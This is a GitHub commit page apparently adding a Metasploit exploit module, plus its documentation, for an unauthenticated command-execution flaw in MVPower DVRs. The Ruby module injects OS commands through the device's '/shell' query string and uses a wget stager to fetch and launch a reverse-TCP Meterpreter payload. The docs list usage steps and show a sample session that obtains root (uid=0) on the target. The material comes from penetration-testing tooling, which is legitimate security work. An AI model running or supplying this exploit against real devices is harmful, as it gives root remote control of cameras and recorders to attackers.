Skip to content

Commit 2366068

Browse files
committed
Land rapid7#7987, MVPower DVR exploit
2 parents bf47ac2 + c9e0949 commit 2366068

File tree

2 files changed

+140
-0
lines changed

2 files changed

+140
-0
lines changed
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
## Vulnerable Application
2+
3+
This module exploits an unauthenticated remote command execution vulnerability in MVPower digital video recorders. The 'shell' file on the web interface executes arbitrary operating system commands in the query string.
4+
5+
This module was tested successfully on a MVPower model TV-7104HE with firmware version 1.8.4 115215B9 (Build 2014/11/17).
6+
7+
The TV-7108HE model is also reportedly affected, but untested.
8+
9+
10+
## Verification Steps
11+
12+
1. Start `msfconsole`
13+
2. Do: `use exploit/linux/http/mvpower_dvr_shell_exec`
14+
3. Do: `set rhost [IP]`
15+
4. Do: `set lhost [IP]`
16+
5. Do: `run`
17+
6. You should get a session
18+
19+
20+
## Example Run
21+
22+
23+
```
24+
msf exploit(mvpower_dvr_shell_exec) > run
25+
26+
[*] Started reverse TCP handler on 10.1.1.197:4444
27+
[*] 10.1.1.191:80 - Connecting to target
28+
[+] 10.1.1.191:80 - Target is vulnerable!
29+
[*] Using URL: http://0.0.0.0:8080/BBRyjDtj81x3bTq
30+
[*] Local IP: http://10.1.1.197:8080/BBRyjDtj81x3bTq
31+
[*] Meterpreter session 1 opened (10.1.1.197:4444 -> 10.1.1.191:56881) at 2017-02-21 23:59:33 -0500
32+
[*] Command Stager progress - 100.00% done (117/117 bytes)
33+
[*] Server stopped.
34+
35+
meterpreter > getuid
36+
Server username: uid=0, gid=0, euid=0, egid=0
37+
meterpreter > sysinfo
38+
Computer : 10.1.1.191
39+
OS : (Linux 3.0.8)
40+
Architecture : armv7l
41+
Meterpreter : armle/linux
42+
meterpreter >
43+
```
Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::CmdStager
11+
12+
HttpFingerprint = { :pattern => [ /JAWS\/1\.0/ ] }
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'MVPower DVR Shell Unauthenticated Command Execution',
17+
'Description' => %q{
18+
This module exploits an unauthenticated remote command execution
19+
vulnerability in MVPower digital video recorders. The 'shell' file
20+
on the web interface executes arbitrary operating system commands in
21+
the query string.
22+
23+
This module was tested successfully on a MVPower model TV-7104HE with
24+
firmware version 1.8.4 115215B9 (Build 2014/11/17).
25+
26+
The TV-7108HE model is also reportedly affected, but untested.
27+
},
28+
'Author' =>
29+
[
30+
'Paul Davies (UHF-Satcom)', # Initial vulnerability discovery and PoC
31+
'Andrew Tierney (Pen Test Partners)', # Independent vulnerability discovery and PoC
32+
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
33+
],
34+
'License' => MSF_LICENSE,
35+
'Platform' => 'linux',
36+
'References' =>
37+
[
38+
# Comment from Paul Davies contains probably the first published PoC
39+
[ 'URL', 'https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/' ],
40+
# Writeup with PoC by Andrew Tierney from Pen Test Partners
41+
[ 'URL', 'https://www.pentestpartners.com/blog/pwning-cctv-cameras/' ]
42+
],
43+
'DisclosureDate' => 'Aug 23 2015',
44+
'Privileged' => true, # BusyBox
45+
'Arch' => ARCH_ARMLE,
46+
'DefaultOptions' =>
47+
{
48+
'PAYLOAD' => 'linux/armle/mettle_reverse_tcp',
49+
'CMDSTAGER::FLAVOR' => 'wget'
50+
},
51+
'Targets' =>
52+
[
53+
['Automatic', {}]
54+
],
55+
'CmdStagerFlavor' => %w{ echo printf wget },
56+
'DefaultTarget' => 0))
57+
end
58+
59+
def check
60+
begin
61+
fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6)
62+
res = send_request_cgi(
63+
'uri' => "/shell?echo+#{fingerprint}",
64+
'headers' => { 'Connection' => 'Keep-Alive' }
65+
)
66+
if res && res.body.include?(fingerprint)
67+
return CheckCode::Vulnerable
68+
end
69+
rescue ::Rex::ConnectionError
70+
return CheckCode::Unknown
71+
end
72+
CheckCode::Safe
73+
end
74+
75+
def execute_command(cmd, opts)
76+
begin
77+
send_request_cgi(
78+
'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}",
79+
'headers' => { 'Connection' => 'Keep-Alive' }
80+
)
81+
rescue ::Rex::ConnectionError
82+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
83+
end
84+
end
85+
86+
def exploit
87+
print_status("#{peer} - Connecting to target")
88+
89+
unless check == CheckCode::Vulnerable
90+
fail_with(Failure::Unknown, "#{peer} - Target is not vulnerable")
91+
end
92+
93+
print_good("#{peer} - Target is vulnerable!")
94+
95+
execute_cmdstager(linemax: 1500)
96+
end
97+
end

0 commit comments

Comments
 (0)